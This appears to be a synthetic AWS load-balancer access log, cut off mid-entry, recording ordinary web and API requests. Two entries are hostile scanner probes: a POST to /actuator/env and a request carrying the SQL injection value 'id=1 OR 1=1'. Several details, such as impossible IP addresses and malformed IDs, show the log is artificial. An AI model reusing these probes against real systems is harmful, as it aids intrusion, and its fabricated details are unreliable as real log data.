+http 2024-11-01T01:24:22.005348Z staging-alb 37.148.155.228:47791 252.192.188.54:8080 0.129927 0.693018 0.092254 302 302 336 6386 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb56-c11e667ba82c44c2b76eb36c" "staging-alb.example.com" "-" 1 2024-11-01T01:24:22.005348Z "forward" "-" "-" "252.192.188.54:8080" "302" "-" "-" +https 2024-11-01T01:24:23.020684Z prod-api-alb 223.163.219.118:55851 10.0.10.232:443 0.088495 0.049132 0.007625 200 200 587 12183 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb57-d1ab0ede078d4a959e88a45f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:24:23.020684Z "forward" "-" "-" "10.0.10.232:443" "200" "-" "-" +https 2024-11-01T01:24:24.291047Z prod-web-alb 30.254.167.243:24977 10.0.5.231:443 0.057978 0.327539 0.075343 200 200 414 14556 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb58-52d1dc2a2e614d2aa59b4097" "prod-web-alb.example.com" "-" 8 2024-11-01T01:24:24.291047Z "forward" "-" "-" "10.0.5.231:443" "200" "-" "-" +https 2024-11-01T01:24:25.735295Z prod-web-alb 255.56.206.30:39914 10.0.111.116:443 0.051982 0.169086 0.090791 301 301 704 14688 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb59-2584573eeff04be2827f5a9c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:24:25.735295Z "forward" "-" "-" "10.0.111.116:443" "301" "-" "-" +https 2024-11-01T01:24:27.173183Z prod-api-alb 45.190.20.57:60688 10.0.136.153:443 0.044668 0.061710 0.001941 200 200 379 9646 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb5b-2748994d7d1940ac8caa102f" "prod-api-alb.example.com" "-" 1 2024-11-01T01:24:27.173183Z "forward" "-" "-" "10.0.136.153:443" "200" "-" "-" +https 2024-11-01T01:24:28.893480Z prod-web-alb 185.252.220.156:13613 10.0.40.149:443 0.012758 0.396997 0.062909 200 200 25 11645 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb5c-a3595ebf4d9c4d87b69a035b" "prod-web-alb.example.com" "-" 8 2024-11-01T01:24:28.893480Z "forward" "-" "-" "10.0.40.149:443" "200" "-" "-" +https 2024-11-01T01:24:30.849263Z prod-web-alb 183.255.72.126:18892 10.0.163.178:443 0.077251 0.075954 0.045569 302 302 215 7730 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb5e-3ab57ec462fc445abfb9feef" "prod-web-alb.example.com" "-" 10 2024-11-01T01:24:30.849263Z "forward" "-" "-" "10.0.163.178:443" "302" "-" "-" +https 2024-11-01T01:24:31.563182Z prod-api-alb 54.88.242.131:30320 10.0.245.35:443 0.010263 0.008211 0.070004 301 301 133 10083 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb5f-08ce73982a0b40caa2d2e58b" "prod-api-alb.example.com" "-" 0 2024-11-01T01:24:31.563182Z "forward" "-" "-" "10.0.245.35:443" "301" "-" "-" +http 2024-11-01T01:24:31.848426Z staging-alb 115.227.1.192:19982 143.202.77.23:80 0.045460 0.270284 0.044885 200 200 704 1538 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb5f-49caef407e3d45cea75b9c99" "staging-alb.example.com" "-" 1 2024-11-01T01:24:31.848426Z "forward" "-" "-" "143.202.77.23:80" "200" "-" "-" +https 2024-11-01T01:24:32.979151Z prod-api-alb 71.35.130.145:46196 10.0.86.214:443 0.074971 0.353855 0.093561 200 200 398 6956 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb60-7d43fad8a8434780b221c7cd" "prod-api-alb.example.com" "-" 0 2024-11-01T01:24:32.979151Z "forward" "-" "-" "10.0.86.214:443" "200" "-" "-" +https 2024-11-01T01:24:34.565392Z prod-web-alb 3.31.84.47:51596 10.0.127.248:443 0.078765 0.045810 0.077025 302 302 552 2965 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb62-cd71ea9cd9c5469e808d48b6" "prod-web-alb.example.com" "-" 5 2024-11-01T01:24:34.565392Z "forward" "-" "-" "10.0.127.248:443" "302" "-" "-" +https 2024-11-01T01:24:36.543869Z prod-api-alb 218.216.6.149:14318 10.0.98.188:443 0.026886 0.467388 0.042799 200 200 460 2700 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb64-57c52f108286446186d6be4b" "prod-api-alb.example.com" "-" 1 2024-11-01T01:24:36.543869Z "forward" "-" "-" "10.0.98.188:443" "200" "-" "-" +https 2024-11-01T01:24:37.087917Z prod-web-alb 64.231.141.124:42404 10.0.94.85:443 0.046710 0.261256 0.039804 200 200 195 14292 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb65-45eb127bf87546559ecd7bd2" "prod-web-alb.example.com" "-" 9 2024-11-01T01:24:37.087917Z "forward" "-" "-" "10.0.94.85:443" "200" "-" "-" +https 2024-11-01T01:24:37.222512Z prod-api-alb 193.27.228.118:17235 10.0.7.178:443 0.024076 0.311983 0.014456 500 500 304 5896 "POST /actuator/env HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb65-5b4e49d8b8674dc79558f09b" "-" "-" 5 2024-11-01T01:24:37.222512Z "forward" "-" "-" "10.0.7.178:443" "500" "-" "-" +https 2024-11-01T01:24:38.774723Z prod-api-alb 103.15.224.188:45149 10.0.113.214:443 0.088318 0.089434 0.034653 200 200 942 6683 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb66-377b03a6aec84690b67263ef" "prod-api-alb.example.com" "-" 0 2024-11-01T01:24:38.774723Z "forward" "-" "-" "10.0.113.214:443" "200" "-" "-" +http 2024-11-01T01:24:40.046902Z staging-alb 38.108.53.217:27527 222.213.181.110:443 0.114856 0.535197 0.054558 200 200 522 8228 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb68-1e0a77001c57463a84cb762a" "staging-alb.example.com" "-" 7 2024-11-01T01:24:40.046902Z "forward" "-" "-" "222.213.181.110:443" "200" "-" "-" +https 2024-11-01T01:24:41.336058Z prod-api-alb 171.219.26.251:32769 10.0.77.223:443 0.070831 0.203521 0.006781 301 301 752 10533 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb69-a94ca48ff3d140afba07fd2f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:24:41.336058Z "forward" "-" "-" "10.0.77.223:443" "301" "-" "-" +https 2024-11-01T01:24:41.712845Z staging-alb 180.35.16.85:55644 117.217.28.250:8080 0.115933 0.092271 0.008648 200 200 396 9544 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb69-69b54ac0740a40988488dde6" "staging-alb.example.com" "-" 3 2024-11-01T01:24:41.712845Z "forward" "-" "-" "117.217.28.250:8080" "200" "-" "-" +https 2024-11-01T01:24:42.472262Z prod-web-alb 5.38.111.121:30479 10.0.126.152:443 0.088153 0.280518 0.089178 200 200 158 13417 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb6a-73f70a77b9c54cf8ba441266" "prod-web-alb.example.com" "-" 3 2024-11-01T01:24:42.472262Z "forward" "-" "-" "10.0.126.152:443" "200" "-" "-" +http 2024-11-01T01:24:42.865738Z staging-alb 50.17.54.51:46284 49.111.84.15:443 0.113464 0.397161 0.145507 200 200 77 3583 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb6a-9405a2bf1a3f4952b6c36310" "staging-alb.example.com" "-" 6 2024-11-01T01:24:42.865738Z "forward" "-" "-" "49.111.84.15:443" "200" "-" "-" +https 2024-11-01T01:24:44.425248Z prod-api-alb 98.25.186.119:56660 10.0.171.28:443 0.027676 0.015868 0.093309 302 302 233 9271 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb6c-8d398b02e36a4252a3a04e8a" "prod-api-alb.example.com" "-" 8 2024-11-01T01:24:44.425248Z "forward" "-" "-" "10.0.171.28:443" "302" "-" "-" +https 2024-11-01T01:24:45.127488Z prod-api-alb 96.125.218.42:11609 10.0.231.77:443 0.048839 0.218773 0.073948 404 404 687 4158 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb6d-c018e2138cd54f27a23d8505" "prod-api-alb.example.com" "-" 6 2024-11-01T01:24:45.127488Z "forward" "-" "-" "10.0.231.77:443" "404" "-" "-" +https 2024-11-01T01:24:45.285791Z staging-alb 185.140.54.103:58145 151.117.40.154:8080 0.113532 0.531061 0.057125 200 200 31 7989 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb6d-f24ea9d3e0cd43568a111695" "staging-alb.example.com" "-" 1 2024-11-01T01:24:45.285791Z "forward" "-" "-" "151.117.40.154:8080" "200" "-" "-" +http 2024-11-01T01:24:46.394272Z staging-alb 124.223.58.213:47186 193.220.140.137:443 0.099962 0.187872 0.143588 200 200 176 2208 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb6e-345f01bad6e74c8fb4cc7119" "staging-alb.example.com" "-" 1 2024-11-01T01:24:46.394272Z "forward" "-" "-" "193.220.140.137:443" "200" "-" "-" +https 2024-11-01T01:24:47.501245Z prod-api-alb 103.28.221.148:43158 10.0.214.199:443 0.007549 0.205154 0.039603 200 200 89 9991 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb6f-37e6295724254ff19ad639e2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:24:47.501245Z "forward" "-" "-" "10.0.214.199:443" "200" "-" "-" +https 2024-11-01T01:24:47.886259Z prod-web-alb 61.252.193.5:15532 10.0.27.255:443 0.064249 0.288766 0.010994 301 301 816 1263 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb6f-2f05731a9f494b4db2423ac1" "prod-web-alb.example.com" "-" 6 2024-11-01T01:24:47.886259Z "forward" "-" "-" "10.0.27.255:443" "301" "-" "-" +https 2024-11-01T01:24:48.314124Z prod-api-alb 68.202.93.214:16793 10.0.251.229:443 0.020394 0.315375 0.027836 200 200 565 12272 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb70-1c5d2a6c99f2415ba7eeb381" "prod-api-alb.example.com" "-" 5 2024-11-01T01:24:48.314124Z "forward" "-" "-" "10.0.251.229:443" "200" "-" "-" +http 2024-11-01T01:24:50.253022Z staging-alb 185.181.95.188:33450 151.247.134.72:8080 0.031530 0.091649 0.061132 500 500 195 8232 "POST /users?id=1 OR 1=1 HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb72-27081fef06754df9ba096420" "-" "-" 7 2024-11-01T01:24:50.253022Z "forward" "-" "-" "151.247.134.72:8080" "500" "-" "-" +http 2024-11-01T01:24:52.221624Z staging-alb 255.23.236.252:45060 8.27.154.240:80 0.091480 0.140646 0.041435 301 301 256 2826 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb74-807cee26785d49709ba49247" "staging-alb.example.com" "-" 9 2024-11-01T01:24:52.221624Z "forward" "-" "-" "8.27.154.240:80" "301" "-" "-" +https 2024-11-01T01:24:52.772227Z staging-alb 110.252.137.7:63866 199.255.176.116:80 0.062411 0.467797 0.047533 200 200 53 11010 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb74-0515b46e7c7b4db1b2da9058" "staging-alb.example.com" "-" 4 2024-11-01T01:24:52.772227Z "forward" "-" "-" "199.255.176.116:80" "200" "-" "-" +https 2024-11-01T01:24:53.972880Z prod-api-alb 185.251.135.9:12004 10.0.220.98:443 0.080114 0.069228 0.031149 302 302 20 655 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb75-35964c5829fa49caa6636eb1" "prod-api-alb.example.com" "-" 3 2024-11-01T01:24:53.972880Z "forward" "-" "-" "10.0.220.98:443" "302" "-" "-" +https 2024-11-01T01:24:54.395084Z prod-api-alb 194.185.231.6:62227 10.0.31.132:443 0.003580 0.263880 0.002107 404 404 358 7264 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb76-a04a8b5395a6452f8e02feda" "prod-api-alb.example.com" "-" 2 2024-11-01T01:24:54.395084Z "forward" "-" "-" "10.0.31.132:443" "404" "-" "-" +https 2024-11-01T01:24:54.911566Z prod-web-alb 99.181.103.216:18298 10.0.39.21:443 0.017056 0.177164 0.024257 200 200 266 8165 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb76-5ec4aacf23844f5b81d52dd1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:24:54.911566Z "forward" "-" "-" "10.0.39.21:443" "200" "-" "-" +https 2024-11-01T01:24:55.943920Z staging-alb 126.123.82.24:58567 5.105.167.40:8080 0.114658 0.395750 0.006832 404 404 941 1927 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb77-0a934fe6ae5e4884a7fae05a" "staging-alb.example.com" "-" 10 2024-11-01T01:24:55.943920Z "forward" "-" "-" "5.105.167.40:8080" "404" "-" "-" +https 2024-11-01T01:24:57.695410Z prod-api-alb 224.216.15.133:13398 10.0.144.196:443 0.081784 0.498388 0.080498 200 200 765 593 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb79-2673d3cfaa794f8fa295bba9" "prod-api-alb.example.com" "-" 9 2024-11-01T01:24:57.695410Z "forward" "-" "-" "10.0.144.196:443" "200" "-" "-" +https 2024-11-01T01:24:59.188836Z prod-web-alb 108.202.124.172:18176 10.0.90.72:443 0.029051 0.396625 0.046305 200 200 152 2954 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb7b-51af0ff0ad09460a95308371" "prod-web-alb.example.com" "-" 3 2024-11-01T01:24:59.188836Z "forward" "-" "-" "10.0.90.72:443" "200" "-" "-" +https 2024-11-01T01:24:59.465890Z prod-web-alb 15.45.23.98:32702 10.0.146.121:443 0.044663 0.153433 0.089367 200 200 301 14447 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb7b-1a3b8b332ef345289b41934f" "prod-web-alb.example.com" "-" 7 2024-11-01T01:24:59.465890Z "forward" "-" "-" "10.0.146.121:443" "200" "-" "-" +https 2024-11-01T01:25:01.424084Z prod-api-alb 194.105.66.50:18859 10.0.204.241:443 0.061750 0.471144 0.072395 200 200 174 7700 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb7d-6651646995a241e2ba7e63a0" "prod-api-alb.example.com" "-" 1 2024-11-01T01:25:01.424084Z "forward" "-" "-" "10.0.204.241:443" "200" "-" "-" +https 2024-11-01T01:25:01.991588Z prod-api-alb 143.182.155.227:62003 10.0.72.139:443 0.021209 0.057433 0.046721 301 301 594 9626 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb7d-549bdbd0107344ca82018790" "prod-api-alb.example.com" "-" 9 2024-11-01T01:25:01.991588Z "forward" "-" "-" "10.0.72.139:443" "301" "-" "-" +https 2024-11-01T01:25:02.247002Z prod-api-alb 133.79.223.205:55325 10.0.162.94:443 0.039007 0.278812 0.015401 200 200 625 14516 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb7e-2977e7793f9549d0b784490b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:25:02.247002Z "forward" "-" "-" "10.0.162.94:443" "200" "-" "-" +https 2024-11-01T01:25:02.499229Z prod-web-alb 188.126.40.29:16052 10.0.21.230:443 0.007194 0.127666 0.058674 200 200 641 9160 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb7e-98b9ecf1bb0049a2bae045eb" "prod-web-alb.example.com" "-" 7 2024-11-01T01:25:02.499229Z "forward" "-" "-" "10.0.21.230:443" "200" "-" "-" +https 2024-11-01T01:25:02.986875Z prod-api-alb 252.117.188.146:20528 10.0.212.93:443 0.047143 0.007164 0.075159 302 302 113 6192 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb7e-47d487d765be4fd2a81dc597" "prod-api-alb.example.com" "-" 10 2024-11-01T01:25:02.986875Z "forward" "-" "-" "10.0.212.93:443" "302" "-" "-" +https 2024-11-01T01:25:03.128255Z prod-api-alb 214.112.238.111:33577 10.0.82.95:443 0.087254 0.180017 0.053297 200 200 493 7910 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb7f-5e248c599d074e3db8ef5abf" "prod-api-alb.example.com" "-" 9 2024-11-01T01:25:03.128255Z "forward" "-" "-" "10.0.82.95:443" "200" "-" "-" +https 2024-11-01T01:25:03.939358Z prod-web-alb 115.11.174.23:19445 10.0.36.44:443 0.031529 0.486805 0.079075 200 200 733 7956 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb7f-bd400b1a2cb849daa886dd6f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:25:03.939358Z "forward" "-" "-" "10.0.36.44:443" "200" "-" "-" +https 2024-11-01T01:25:05.792633Z prod-api-alb 156.145.42.97:29241 10.0.55.121:443 0.006979 0.263434 0.074000 200 200 851 8107 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb81-d42706ba3b9a470088b0472f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:25:05.792633Z "forward" "-" "-" "10.0.55.121:443" "200" "-" "-" +https 2024-11-01T01:25:07.682210Z prod-web-alb 194.85.83.90:46826 10.0.229.207:443 0.018949 0.074760 0.038187 200 200 624 9901 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb83-02c1e2f5262d49b9a72f7060" "prod-web-alb.example.com" "-" 6 2024-11-01T01:25:07.682210Z "forward" "-" "-" "10.0.229.207:443" "200" "-" "-" +https 2024-11-01T01:25:09.518451Z prod-api-alb 243.117.48.149:14153 10.0.27.175:443 0.005712 0.086048 0.065606 301 301 695 1169 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb85-598ce4a61bf9404cbfc280d8" "-" "-" 9 2024-11-01T01:25:09.518451Z "forward" "-" "-" "10.0.27.175:443" "301" "-" "-" +https 2024-11-01T01:25:10.935060Z prod-api-alb 149.50.229.33:52402 10.0.112.37:443 0.002965 0.052888 0.007981 404 404 228 4408 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb86-ae9f0c8c51ba43048c476720" "prod-api-alb.example.com" "-" 2 2024-11-01T01:25:10.935060Z "forward" "-" "-" "10.0.112.37:443" "404" "-" "-" +https 2024-11-01T01:25:11.749665Z prod-api-alb 128.229.150.46:19074 10.0.24.165:443 0.084718 0.134336 0.068432 301 301 898 8120 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb87-39d29ab680aa40a79f97be7c" "-" "-" 9 2024-11-01T01:25:11.749665Z "forward" "-" "-" "10.0.24.165:443" "301" "-" "-" +https 2024-11-01T01:25:13.665615Z prod-web-alb 